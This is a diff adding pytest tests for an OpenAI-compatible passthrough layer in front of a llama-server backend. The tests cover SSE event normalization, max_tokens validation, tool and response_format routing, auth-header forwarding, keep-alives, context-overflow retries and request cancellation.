_openai_passthrough_sse_line_terminal_state("data: [DONE]") == "done" + + def test_finish_reason_with_space(self): + line = 'data: {"choices":[{"index":0,"delta":{},"finish_reason":"stop"}]}' + assert _openai_passthrough_sse_line_terminal_state(line) == "finish" + + def test_finish_reason_without_space(self): + line = 'data:{"choices":[{"index":0,"delta":{},"finish_reason":"tool_calls"}]}' + assert _openai_passthrough_sse_line_terminal_state(line) == "finish" + + def test_usage_chunk(self): + line = 'data: {"choices":[],"usage":{"prompt_tokens":1,"completion_tokens":2}}' + assert _openai_passthrough_sse_line_terminal_state(line) == "usage" + + def test_error_chunk(self): + line = 'data: {"error":{"message":"boom"}}' + assert _openai_passthrough_sse_line_terminal_state(line) == "error" + + def test_cap_parallel_tool_calls_accepts_no_space_after_data_colon(self): + line = ( + 'data:{"choices":[{"delta":{"tool_calls":[' + '{"index":0,"function":{"name":"a"}},' + '{"index":1,"function":{"name":"b"}}]}}]}' + ) + + capped = _normalize_openai_passthrough_sse_line(line, cap_parallel_tool_calls = True) + + data = json.loads(capped[len("data:") :].lstrip()) + assert data["choices"][0]["delta"]["tool_calls"] == [ + {"index": 0, "function": {"name": "a"}} + ] + + def test_plain_content_line_is_returned_identically(self): + # The relay dispatches terminal classification on `out_line is raw_line`, + # so the no-mutation path must return the identical string object. + line = 'data: {"choices":[{"index":0,"delta":{"content":"hello"},"finish_reason":null}]}' + assert _normalize_openai_passthrough_sse_line(line) is line + assert _normalize_openai_passthrough_sse_line(line, cap_parallel_tool_calls = True) is line + + def test_reasoning_key_inside_content_text_keeps_line_identical(self): + # Fast-path substring gate fires, but the parse finds nothing to change: + # the original object must come back so the relay stays byte-identical. + line = ( + 'data: {"choices":[{"index":0,"delta":{"content":' + '"mentions \\"reasoning_content\\" in text"},"finish_reason":null}]}' + ) + assert _normalize_openai_passthrough_sse_line(line) is line + + def test_reasoning_only_delta_gets_empty_content(self): + line = ( + 'data: {"choices":[{"index":0,' + '"delta":{"reasoning_content":"thinking"},' + '"finish_reason":null}]}' + ) + + normalized = _normalize_openai_passthrough_sse_line(line) + + data = json.loads(normalized[len("data:") :].lstrip()) + delta = data["choices"][0]["delta"] + assert delta["reasoning_content"] == "thinking" + assert delta["content"] == "" + + def test_reasoning_normalization_preserves_done_sentinel(self): + assert _normalize_openai_passthrough_sse_line("data: [DONE]") == "data: [DONE]" + + # ===================================================================== # Passthrough reasoning kwargs — enable_thinking / reasoning_effort / # preserve_thinking must reach llama-server via chat_template_kwargs, @@ -892,6 +1274,98 @@ class TestOpenAICompatibilityHelpers: payload = SimpleNamespace(max_tokens = 128, max_completion_tokens = 64) assert _effective_max_tokens(payload) == 64 + def test_openai_compat_max_tokens_returns_none_when_omitted(self): + payload = SimpleNamespace(max_tokens = None, max_completion_tokens = None) + assert _effective_openai_max_tokens(payload) is None + + @pytest.mark.parametrize( + ("payload", "expected"), + [ + (SimpleNamespace(max_tokens = 8192, max_completion_tokens = None), 8192), + (SimpleNamespace(max_tokens = 8192, max_completion_tokens = 256), 256), + ], + ) + def test_openai_compat_explicit_values_pass_through(self, payload, expected): + assert _effective_openai_max_tokens(payload) == expected + + @pytest.mark.parametrize( + ("payload", "param"), + [ + (SimpleNamespace(max_tokens = "128", max_completion_tokens = None), "max_tokens"), + (SimpleNamespace(max_tokens = True, max_completion_tokens = None), "max_tokens"), + (SimpleNamespace(max_tokens = 12.5, max_completion_tokens = None), "max_tokens"), + ( + SimpleNamespace(max_tokens = None, max_completion_tokens = "128"), + "max_completion_tokens", + ), + ], + ) + def test_openai_compat_max_tokens_rejects_non_integer_explicit_values(self, payload, param): + with pytest.raises(HTTPException) as exc: + _effective_openai_max_tokens(payload) + + assert exc.value.status_code == 400 + assert exc.value.detail["error"]["param"] == param + assert exc.value.detail["error"]["code"] == "invalid_type" + + def test_openai_compat_max_tokens_zero_is_valid_and_negative_rejected(self): + # Legacy completions spec: max_tokens has minimum 0, so 0 must pass + # through; only negatives are invalid_value. + assert _effective_openai_max_tokens_from_values(0) == 0 + + with pytest.raises(HTTPException) as exc: + _effective_openai_max_tokens_from_values(-1) + + assert exc.value.status_code == 400 + assert exc.value.detail["error"]["code"] == "invalid_value" + assert exc.value.detail["error"]["param"] == "max_tokens" + + def test_chat_reasoning_chunk_carries_empty_content(self): + from routes.inference import _chat_reasoning_chunk + + line = _chat_reasoning_chunk("chatcmpl-test", 123, "gguf", "thinking...") + chunk = json.loads(line[len("data: ") :]) + delta = chunk["choices"][0]["delta"] + + assert delta["reasoning_content"] == "thinking..." + assert delta["content"] == "" + + def test_passthrough_upstream_headers_include_backend_auth(self): + headers = _openai_passthrough_upstream_headers( + llama_backend = SimpleNamespace(_auth_headers = {"Authorization": "Bearer secret"}), + ) + + assert headers["Authorization"] == "Bearer secret" + assert headers["Connection"] == "close" + + def test_openai_compat_stream_stall_timeout_uses_default(self, monkeypatch): + monkeypatch.delenv(_OPENAI_COMPAT_STREAM_STALL_TIMEOUT_ENV, raising = False) + assert _openai_compat_stream_stall_timeout() == 120.0 + + def test_openai_compat_stream_stall_timeout_uses_env_override(self, monkeypatch): + monkeypatch.setenv(_OPENAI_COMPAT_STREAM_STALL_TIMEOUT_ENV, "4.5") + assert _openai_compat_stream_stall_timeout() == 4.5 + + @pytest.mark.parametrize("raw_value", ["", "not-a-float"]) + def test_openai_compat_stream_stall_timeout_invalid_env_uses_default( + self, monkeypatch, raw_value + ): + monkeypatch.setenv(_OPENAI_COMPAT_STREAM_STALL_TIMEOUT_ENV, raw_value) + assert _openai_compat_stream_stall_timeout() == 120.0 + + @pytest.mark.parametrize("raw_value", ["0", "-1"]) + def test_openai_compat_stream_stall_timeout_non_positive_env_disables( + self, monkeypatch, raw_value + ): + monkeypatch.setenv(_OPENAI_COMPAT_STREAM_STALL_TIMEOUT_ENV, raw_value) + assert _openai_compat_stream_stall_timeout() is None + + def test_openai_stream_error_sse_closes_with_done(self): + error = {"error": {"message": "boom"}} + assert _openai_stream_error_sse(error) == ( + 'data: {"error": {"message": "boom"}}\n\n' "data: [DONE]\n\n" + ) + @pytest.mark.parametrize( "finish_reason", ["stop", "length", "tool_calls", "content_filter", "function_call"], @@ -1515,9 +1989,330 @@ class TestGgufVisionToolRouting: assert "".join(d.get("reasoning_content", "") for d in deltas) == "plan" assert "".join(d.get("content", "") for d in deltas) == "visible" assert all("" not in d.get("content", "") for d in deltas) + assert all("content" in d for d in deltas if "reasoning_content" in d) [entry] = result.monitor.snapshot() assert entry["reply"] == "visible" + def test_global_enable_tools_does_not_preempt_response_format_passthrough(self, monkeypatch): + import routes.inference as inf_mod + + reset_tool_policy() + set_tool_policy(True) + captured = {} + + def _plain(**_kwargs): + raise AssertionError("plain GGUF path should not be used") + + def _tools(**_kwargs): + raise AssertionError("Studio tool loop should not steal response_format") + + backend = SimpleNamespace( + is_loaded = True, + is_vision = False, + supports_tools = True, + _is_audio = False, + model_identifier = "test-gguf", + context_length = 4096, + base_url = "http://llama.policy.test", + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + generate_chat_completion = _plain, + generate_chat_completion_with_tools = _tools, + ) + + async def fake_passthrough(llama_backend, payload, model_name, **_kwargs): + captured["body"] = inf_mod._build_openai_passthrough_body( + payload, + backend_ctx = llama_backend.context_length, + llama_backend = llama_backend, + ) + return inf_mod.JSONResponse({"ok": True, "model": model_name}) + + try: + monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend) + monkeypatch.setattr( + inf_mod, + "_openai_passthrough_non_streaming", + fake_passthrough, + ) + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + + payload = ChatCompletionRequest( + model = "default", + messages = [{"role": "user", "content": "json"}], + response_format = {"type": "json_object"}, + ) + response = self._drive( + openai_chat_completions( + payload, + request = self._Request(), + current_subject = "test", + ) + ) + + assert json.loads(response.body)["ok"] is True + assert captured["body"]["response_format"] == {"type": "json_object"} + assert "tools" not in captured["body"] + assert "tool_choice" not in captured["body"] + finally: + reset_tool_policy() + + def test_global_enable_tools_does_not_replace_client_tools_passthrough(self, monkeypatch): + import routes.inference as inf_mod + + reset_tool_policy() + set_tool_policy(True) + captured = {} + client_tools = [ + { + "type": "function", + "function": { + "name": "client_lookup", + "parameters": {"type": "object", "properties": {}}, + }, + } + ] + + def _plain(**_kwargs): + raise AssertionError("plain GGUF path should not be used") + + def _tools(**_kwargs): + raise AssertionError("Studio tool loop should not replace client tools") + + backend = SimpleNamespace( + is_loaded = True, + is_vision = False, + supports_tools = True, + _is_audio = False, + model_identifier = "test-gguf", + context_length = 4096, + base_url = "http://llama.policy.test", + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + generate_chat_completion = _plain, + generate_chat_completion_with_tools = _tools, + ) + + async def fake_passthrough(llama_backend, payload, model_name, **_kwargs): + captured["body"] = inf_mod._build_openai_passthrough_body( + payload, + backend_ctx = llama_backend.context_length, + llama_backend = llama_backend, + ) + return inf_mod.JSONResponse({"ok": True, "model": model_name}) + + try: + monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend) + monkeypatch.setattr( + inf_mod, + "_openai_passthrough_non_streaming", + fake_passthrough, + ) + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + + payload = ChatCompletionRequest( + model = "default", + messages = [{"role": "user", "content": "use client tool"}], + tools = client_tools, + ) + response = self._drive( + openai_chat_completions( + payload, + request = self._Request(), + current_subject = "test", + ) + ) + + assert json.loads(response.body)["ok"] is True + assert captured["body"]["tools"] == client_tools + assert captured["body"]["tool_choice"] == "auto" + finally: + reset_tool_policy() + + def test_global_enable_tools_honors_client_tool_choice_none(self, monkeypatch): + import routes.inference as inf_mod + + reset_tool_policy() + set_tool_policy(True) + client_tools = [ + { + "type": "function", + "function": { + "name": "client_lookup", + "parameters": {"type": "object", "properties": {}}, + }, + } + ] + + def _plain(**kwargs): + assert kwargs["max_tokens"] is None + yield "plain response" + + def _tools(**_kwargs): + raise AssertionError("tool_choice='none' must not start Studio's tool loop") + + backend = SimpleNamespace( + is_loaded = True, + is_vision = False, + supports_tools = True, + _is_audio = False, + model_identifier = "test-gguf", + context_length = 4096, + base_url = "http://llama.policy.test", + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + generate_chat_completion = _plain, + generate_chat_completion_with_tools = _tools, + ) + + try: + monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend) + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + + payload = ChatCompletionRequest( + model = "default", + messages = [{"role": "user", "content": "do not use tools"}], + tools = client_tools, + tool_choice = "none", + ) + response = self._drive( + openai_chat_completions( + payload, + request = self._Request(), + current_subject = "test", + ) + ) + + assert json.loads(response.body)["choices"][0]["message"]["content"] == "plain response" + [entry] = monitor.snapshot() + assert entry["status"] == "completed" + assert entry["reply"] == "plain response" + assert monitor.active_count() == 0 + finally: + reset_tool_policy() + + def test_enabled_tools_without_enable_tools_keeps_response_format_passthrough( + self, monkeypatch + ): + import routes.inference as inf_mod + + reset_tool_policy() + captured = {} + + def _plain(**_kwargs): + raise AssertionError("plain GGUF path should not be used") + + def _tools(**_kwargs): + raise AssertionError("enabled_tools alone must not start Studio's tool loop") + + backend = SimpleNamespace( + is_loaded = True, + is_vision = False, + supports_tools = True, + _is_audio = False, + model_identifier = "test-gguf", + context_length = 4096, + base_url = "http://llama.enabled-tools.test", + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + generate_chat_completion = _plain, + generate_chat_completion_with_tools = _tools, + ) + + async def fake_passthrough(llama_backend, payload, model_name, **_kwargs): + captured["body"] = inf_mod._build_openai_passthrough_body( + payload, + backend_ctx = llama_backend.context_length, + llama_backend = llama_backend, + ) + return inf_mod.JSONResponse({"ok": True, "model": model_name}) + + monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend) + monkeypatch.setattr(inf_mod, "_openai_passthrough_non_streaming", fake_passthrough) + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + + payload = ChatCompletionRequest( + model = "default", + messages = [{"role": "user", "content": "json"}], + enabled_tools = ["web_search"], + response_format = {"type": "json_object"}, + ) + response = self._drive( + openai_chat_completions( + payload, + request = self._Request(), + current_subject = "test", + ) + ) + + assert json.loads(response.body)["ok"] is True + assert captured["body"]["response_format"] == {"type": "json_object"} + + def test_enabled_tools_without_enable_tools_keeps_client_tools_passthrough(self, monkeypatch): + import routes.inference as inf_mod + + reset_tool_policy() + captured = {} + client_tools = [ + { + "type": "function", + "function": { + "name": "client_lookup", + "parameters": {"type": "object", "properties": {}}, + }, + } + ] + + def _plain(**_kwargs): + raise AssertionError("plain GGUF path should not be used") + + def _tools(**_kwargs): + raise AssertionError("enabled_tools alone must not start Studio's tool loop") + + backend = SimpleNamespace( + is_loaded = True, + is_vision = False, + supports_tools = True, + _is_audio = False, + model_identifier = "test-gguf", + context_length = 4096, + base_url = "http://llama.enabled-tools.test", + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + generate_chat_completion = _plain, + generate_chat_completion_with_tools = _tools, + ) + + async def fake_passthrough(llama_backend, payload, model_name, **_kwargs): + captured["body"] = inf_mod._build_openai_passthrough_body( + payload, + backend_ctx = llama_backend.context_length, + llama_backend = llama_backend, + ) + return inf_mod.JSONResponse({"ok": True, "model": model_name}) + + monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend) + monkeypatch.setattr(inf_mod, "_openai_passthrough_non_streaming", fake_passthrough) + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + + payload = ChatCompletionRequest( + model = "default", + messages = [{"role": "user", "content": "use client tool"}], + enabled_tools = ["web_search"], + tools = client_tools, + ) + response = self._drive( + openai_chat_completions( + payload, + request = self._Request(), + current_subject = "test", + ) + ) + + assert json.loads(response.body)["ok"] is True + assert captured["body"]["tools"] == client_tools + assert captured["body"]["tool_choice"] == "auto" + def test_reasoning_capable_gguf_stream_splits_reasoning_by_default(self, monkeypatch): def _generate(**_kwargs): yield "planvisible" @@ -1691,6 +2486,58 @@ class TestGgufVisionToolRouting: assert entry["completion_tokens"] == 3 assert monitor.active_count() == 0 + def test_non_streaming_gguf_cancel_drains_worker(self, monkeypatch): + async def _run(): + import routes.inference as inf_mod + + started = threading.Event() + released = threading.Event() + + def _generate(**kwargs): + cancel_event = kwargs["cancel_event"] + started.set() + while not cancel_event.is_set(): + time.sleep(0.005) + released.set() + yield from () + + backend = SimpleNamespace( + is_loaded = True, + is_vision = False, + supports_tools = False, + _is_audio = False, + model_identifier = "test-gguf", + context_length = 4096, + generate_chat_completion = _generate, + ) + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend) + + payload = ChatCompletionRequest( + model = "default", + messages = [{"role": "user", "content": "hi"}], + ) + task = asyncio.create_task( + openai_chat_completions( + payload, + request = self._Request(), + current_subject = "test", + ) + ) + assert await asyncio.to_thread(started.wait, 1.0) + + task.cancel() + with pytest.raises(asyncio.CancelledError): + await asyncio.wait_for(task, timeout = 1.0) + + assert released.is_set() + [entry] = monitor.snapshot() + assert entry["status"] == "cancelled" + assert monitor.active_count() == 0 + + asyncio.run(_run()) + def test_standard_gguf_merges_system_and_developer_messages(self, monkeypatch): import routes.inference as inf_mod @@ -1801,7 +2648,12 @@ class TestApiMonitorProviderAndCompletionStreams: async def is_disconnected(self): return False - async def _run_passthrough_stream(self, monkeypatch, lines): + async def _run_passthrough_stream( + self, + monkeypatch, + lines, + stream_options = None, + ): import routes.inference as inf_mod class Request: @@ -1829,6 +2681,7 @@ class TestApiMonitorProviderAndCompletionStreams: model = "default", messages = [ChatMessage(role = "user", content = "hi")], stream = True, + stream_options = stream_options, tools = [ { "type": "function", @@ -1913,6 +2766,134 @@ class TestApiMonitorProviderAndCompletionStreams: asyncio.run(_run()) + def test_passthrough_stream_forwards_backend_auth_headers(self, monkeypatch): + async def _run(): + import routes.inference as inf_mod + + captured_headers = {} + + async def fake_send(_client, req, *_args, **_kwargs): + captured_headers.update(dict(req.headers)) + return httpx.Response(200, content = b"") + + class Request: + async def is_disconnected(self): + return False + + monitor = ApiMonitor(max_entries = 3) + monitor_id = monitor.start( + endpoint = "/v1/chat/completions", + method = "POST", + model = "gguf", + prompt = "hi", + ) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + + payload = ChatCompletionRequest( + model = "default", + messages = [ChatMessage(role = "user", content = "hi")], + stream = True, + tools = [ + { + "type": "function", + "function": { + "name": "lookup", + "parameters": {"type": "object", "properties": {}}, + }, + } + ], + ) + response = await _openai_passthrough_stream( + Request(), + threading.Event(), + SimpleNamespace( + base_url = "http://llama.test", + context_length = 4096, + _auth_headers = {"Authorization": "Bearer secret"}, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ), + payload, + "chatcmpl-test", + "chatcmpl-test", + monitor_id = monitor_id, + ) + chunks = [ + chunk.decode() if isinstance(chunk, bytes) else chunk + async for chunk in response.body_iterator + ] + + assert "data: [DONE]\n\n" in "".join(chunks) + assert captured_headers["authorization"] == "Bearer secret" + assert captured_headers["connection"] == "close" + + asyncio.run(_run()) + + def test_passthrough_stream_keepalive_while_upstream_headers_are_pending(self, monkeypatch): + async def _run(): + import routes.inference as inf_mod + + gate = asyncio.Event() + + async def fake_send(*_args, **_kwargs): + await gate.wait() + return httpx.Response(200, content = b"") + + class Request: + async def is_disconnected(self): + return False + + monitor = ApiMonitor(max_entries = 3) + monitor_id = monitor.start( + endpoint = "/v1/chat/completions", + method = "POST", + model = "gguf", + prompt = "hi", + ) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + monkeypatch.setattr( + inf_mod, + "_OPENAI_PASSTHROUGH_PENDING_RESPONSE_KEEPALIVE_S", + 0.01, + ) + + payload = ChatCompletionRequest( + model = "default", + messages = [ChatMessage(role = "user", content = "hi")], + stream = True, + ) + + response = await asyncio.wait_for( + _openai_passthrough_stream( + Request(), + threading.Event(), + SimpleNamespace( + base_url = "http://llama.test", + context_length = 4096, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ), + payload, + "chatcmpl-test", + "chatcmpl-test", + monitor_id = monitor_id, + ), + timeout = 0.2, + ) + + first = await asyncio.wait_for(response.body_iterator.__anext__(), timeout = 0.2) + assert first == ": keep-alive\n\n" + + gate.set() + chunks = [ + chunk.decode() if isinstance(chunk, bytes) else chunk + async for chunk in response.body_iterator + ] + body = "".join(chunks) + assert "data: [DONE]\n\n" in body + + asyncio.run(_run()) + def test_passthrough_stream_preheader_non_200_in_window(self, monkeypatch): async def _run(): import routes.inference as inf_mod @@ -2055,6 +3036,7 @@ class TestApiMonitorProviderAndCompletionStreams: body = "".join(chunks) assert "data:" in body assert '"error"' in body + assert "data: [DONE]" in body [entry] = monitor.snapshot() assert entry["status"] == "error" assert "bad" in entry["error"] @@ -2117,7 +3099,13 @@ class TestApiMonitorProviderAndCompletionStreams: async for chunk in response.body_iterator ] body = "".join(chunks) - payload = json.loads(body.removeprefix("data: ").strip()) + events = [ + line.removeprefix("data: ") + for line in body.splitlines() + if line.startswith("data: ") + ] + assert events[-1] == "[DONE]" + payload = json.loads(events[0]) assert payload["error"]["code"] == "context_length_exceeded" assert payload["error"]["param"] == "messages" assert isinstance(payload["error"], dict) @@ -2207,6 +3195,105 @@ class TestApiMonitorProviderAndCompletionStreams: asyncio.run(_run()) + def test_passthrough_stream_preheader_immediate_context_retry_adopts_delayed_response( + self, monkeypatch + ): + async def _run(): + import routes.inference as inf_mod + + gate = asyncio.Event() + calls = [] + err_body = json.dumps( + { + "error": { + "message": "request (10000 tokens) exceeds the available context size (2048 tokens)", + "n_prompt_tokens": 10000, + "n_ctx": 2048, + } + } + ).encode("utf-8") + ok_lines = [ + 'data: {"id":"chatcmpl-test","object":"chat.completion.chunk","created":1,' + '"model":"gguf","choices":[{"index":0,"delta":{"content":"OK"},' + '"finish_reason":null}]}', + 'data: {"id":"chatcmpl-test","object":"chat.completion.chunk","created":1,' + '"model":"gguf","choices":[{"index":0,"delta":{},"finish_reason":"stop"}]}', + "data: [DONE]", + ] + + async def fake_send(_client, req, *_args, **_kwargs): + calls.append(json.loads(req.content.decode("utf-8"))) + if len(calls) == 1: + return httpx.Response(400, content = err_body) + await gate.wait() + return httpx.Response(200, content = b"") + + async def fake_items(*_args, **_kwargs): + for line in ok_lines: + yield line + + class Request: + async def is_disconnected(self): + return False + + monitor = ApiMonitor(max_entries = 3) + monitor_id = monitor.start( + endpoint = "/v1/chat/completions", + method = "POST", + model = "gguf", + prompt = "hi", + ) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + monkeypatch.setattr(inf_mod, "_aiter_llama_stream_items", fake_items) + + messages = [ + ChatMessage(role = "system", content = "system"), + *[ + ChatMessage(role = "user", content = f"turn {idx} " + ("x" * 1000)) + for idx in range(8) + ], + ] + payload = ChatCompletionRequest( + model = "default", + messages = messages, + stream = True, + context_overflow = "truncate_middle", + ) + response = await asyncio.wait_for( + _openai_passthrough_stream( + Request(), + threading.Event(), + SimpleNamespace( + base_url = "http://llama.test", + context_length = 2048, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ), + payload, + "chatcmpl-test", + "chatcmpl-test", + monitor_id = monitor_id, + ), + timeout = 0.2, + ) + assert isinstance(response, _SameTaskStreamingResponse) + + gate.set() + chunks = [ + chunk.decode() if isinstance(chunk, bytes) else chunk + async for chunk in response.body_iterator + ] + body = "".join(chunks) + + assert "OK" in body + assert "context_length_exceeded" not in body + assert len(calls) == 2 + assert len(calls[1]["messages"]) < len(calls[0]["messages"]) + [entry] = monitor.snapshot() + assert entry["status"] == "completed" + + asyncio.run(_run()) + def test_passthrough_stream_preheader_delayed_request_error_cleans_up(self, monkeypatch): async def _run(): import routes.inference as inf_mod @@ -2647,6 +3734,150 @@ class TestApiMonitorProviderAndCompletionStreams: asyncio.run(_run()) + def test_completions_omitted_max_tokens_falls_back_to_context(self, monkeypatch): + # With no env knobs set, an omitted max_tokens must forward the + # backend's context length, exactly as on main. + async def _run(): + import routes.inference as inf_mod + + class Request: + state = SimpleNamespace() + url = SimpleNamespace(path = "/v1/completions") + method = "POST" + + async def json(self): + return {"prompt": "hi", "stream": False} + + captured = [] + + class CapturingClient: + async def post(self, _url, *, json, **_kwargs): + captured.append(dict(json)) + return httpx.Response( + 200, + json = { + "id": "cmpl-test", + "choices": [{"text": "ok"}], + "usage": { + "prompt_tokens": 1, + "completion_tokens": 1, + "total_tokens": 2, + }, + }, + ) + + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "nonstreaming_client", lambda: CapturingClient()) + monkeypatch.setattr( + inf_mod, + "get_llama_cpp_backend", + lambda: SimpleNamespace( + is_loaded = True, + base_url = "http://llama.test", + context_length = 4096, + model_identifier = "gguf", + ), + ) + + await openai_completions(Request(), current_subject = "test") + + assert captured[0]["max_tokens"] == 4096 + assert monitor.active_count() == 0 + + asyncio.run(_run()) + + def test_completions_forwards_spec_valid_zero_max_tokens(self, monkeypatch): + async def _run(): + import routes.inference as inf_mod + + class Request: + state = SimpleNamespace() + url = SimpleNamespace(path = "/v1/completions") + method = "POST" + + async def json(self): + return {"prompt": "hi", "stream": False, "max_tokens": 0} + + captured = [] + + class CapturingClient: + async def post(self, _url, *, json, **_kwargs): + captured.append(dict(json)) + return httpx.Response( + 200, + json = { + "id": "cmpl-test", + "choices": [{"text": "", "finish_reason": "length"}], + "usage": { + "prompt_tokens": 1, + "completion_tokens": 0, + "total_tokens": 1, + }, + }, + ) + + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "nonstreaming_client", lambda: CapturingClient()) + monkeypatch.setattr( + inf_mod, + "get_llama_cpp_backend", + lambda: SimpleNamespace( + is_loaded = True, + base_url = "http://llama.test", + context_length = 4096, + model_identifier = "gguf", + ), + ) + + await openai_completions(Request(), current_subject = "test") + + assert captured[0]["max_tokens"] == 0 + assert monitor.active_count() == 0 + + asyncio.run(_run()) + + def test_completions_rejects_non_integer_max_tokens_before_forwarding(self, monkeypatch): + async def _run(): + import routes.inference as inf_mod + + class Request: + state = SimpleNamespace() + url = SimpleNamespace(path = "/v1/completions") + method = "POST" + + async def json(self): + return {"prompt": "hi", "stream": False, "max_tokens": "128"} + + class UnusedClient: + async def post(self, *_args, **_kwargs): + raise AssertionError("invalid max_tokens must not reach llama-server") + + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "nonstreaming_client", lambda: UnusedClient()) + monkeypatch.setattr( + inf_mod, + "get_llama_cpp_backend", + lambda: SimpleNamespace( + is_loaded = True, + base_url = "http://llama.test", + context_length = 4096, + model_identifier = "gguf", + ), + ) + + with pytest.raises(HTTPException) as exc: + await openai_completions(Request(), current_subject = "test") + + assert exc.value.status_code == 400 + assert exc.value.detail["error"]["param"] == "max_tokens" + assert exc.value.detail["error"]["code"] == "invalid_type" + assert monitor.active_count() == 0 + + asyncio.run(_run()) + def test_monitor_openai_chunk_records_all_choice_replies(self, monkeypatch): import routes.inference as inf_mod @@ -2793,6 +4024,8 @@ class TestApiMonitorProviderAndCompletionStreams: yield 'data: {"choices":[{"delta":{"content":"hello"}}]}' await asyncio.sleep(3600) + cancel_id = "passthrough-stream-delete-cancel" + monitor = ApiMonitor(max_entries = 3) monkeypatch.setattr(inf_mod, "api_monitor", monitor) monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) @@ -2807,6 +4040,7 @@ class TestApiMonitorProviderAndCompletionStreams: model = "default", messages = [ChatMessage(role = "user", content = "hi")], stream = True, + cancel_id = cancel_id, tools = [ { "type": "function", @@ -2824,6 +4058,7 @@ class TestApiMonitorProviderAndCompletionStreams: SimpleNamespace( base_url = "http://llama.test", context_length = 4096, + _auth_headers = {"Authorization": "Bearer secret"}, _request_reasoning_kwargs = lambda *_args, **_kwargs: None, ), payload, @@ -2835,6 +4070,7 @@ class TestApiMonitorProviderAndCompletionStreams: iterator = response.body_iterator first = await anext(iterator) assert "hello" in first + assert cancel_id in inf_mod._CANCEL_REGISTRY pending = asyncio.create_task(anext(iterator)) await asyncio.sleep(0) @@ -2846,6 +4082,7 @@ class TestApiMonitorProviderAndCompletionStreams: assert entry["status"] == "cancelled" assert entry["reply"] == "hello" assert monitor.active_count() == 0 + assert cancel_id not in inf_mod._CANCEL_REGISTRY asyncio.run(_run()) @@ -2931,6 +4168,27 @@ class TestApiMonitorProviderAndCompletionStreams: asyncio.run(_run()) + def test_passthrough_usage_done_are_separate_sse_events(self, monkeypatch): + async def _run(): + result = await self._run_passthrough_stream( + monkeypatch, + [ + 'data: {"id":"chatcmpl-test","object":"chat.completion.chunk","created":1,"model":"m","choices":[{"index":0,"delta":{"role":"assistant"},"finish_reason":null}]}', + 'data: {"id":"chatcmpl-test","object":"chat.completion.chunk","created":1,"model":"m","choices":[{"index":0,"delta":{},"finish_reason":"stop"}]}', + 'data: {"id":"chatcmpl-test","object":"chat.completion.chunk","created":1,"model":"m","choices":[],"usage":{"prompt_tokens":1,"completion_tokens":1,"total_tokens":2}}', + ], + stream_options = {"include_usage": True}, + ) + + assert ( + '"usage":{"prompt_tokens":1,"completion_tokens":1,"total_tokens":2' in result.body + ) + assert "data: [DONE]" in result.body + assert "}\n\ndata: [DONE]\n\n" in result.body + assert "}\ndata: [DONE]\n\n" not in result.body + + asyncio.run(_run()) + def test_passthrough_non_streaming_cancel_finalizes_monitor(self, monkeypatch): async def _run(): import routes.inference as inf_mod @@ -2990,6 +4248,407 @@ class TestApiMonitorProviderAndCompletionStreams: asyncio.run(_run()) + def test_passthrough_non_streaming_cancel_closes_blocked_upstream_post(self, monkeypatch): + async def _run(): + import routes.inference as inf_mod + + class HangingCancelableClient: + def __init__(self): + self.started = asyncio.Event() + self.closed = asyncio.Event() + + async def post(self, *_args, **_kwargs): + self.started.set() + await self.closed.wait() + raise httpx.ReadError("client closed") + + async def aclose(self): + self.closed.set() + + class Request: + async def is_disconnected(self): + return False + + client = HangingCancelableClient() + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr( + inf_mod, + "_cancelable_nonstreaming_client", + lambda: client, + ) + monitor_id = monitor.start( + endpoint = "/v1/chat/completions", + method = "POST", + model = "gguf", + prompt = "hi", + ) + cancel_event = threading.Event() + payload = ChatCompletionRequest( + model = "default", + messages = [ChatMessage(role = "user", content = "hi")], + tools = [ + { + "type": "function", + "function": { + "name": "lookup", + "parameters": {"type": "object", "properties": {}}, + }, + } + ], + ) + + task = asyncio.create_task( + _openai_passthrough_non_streaming( + SimpleNamespace( + base_url = "http://llama.test", + context_length = 4096, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ), + payload, + "gguf", + monitor_id = monitor_id, + request = Request(), + cancel_event = cancel_event, + ) + ) + await asyncio.wait_for(client.started.wait(), 0.2) + cancel_event.set() + + with pytest.raises(asyncio.CancelledError): + await asyncio.wait_for(task, 0.5) + + assert client.closed.is_set() + [entry] = monitor.snapshot() + assert entry["status"] == "cancelled" + assert monitor.active_count() == 0 + + 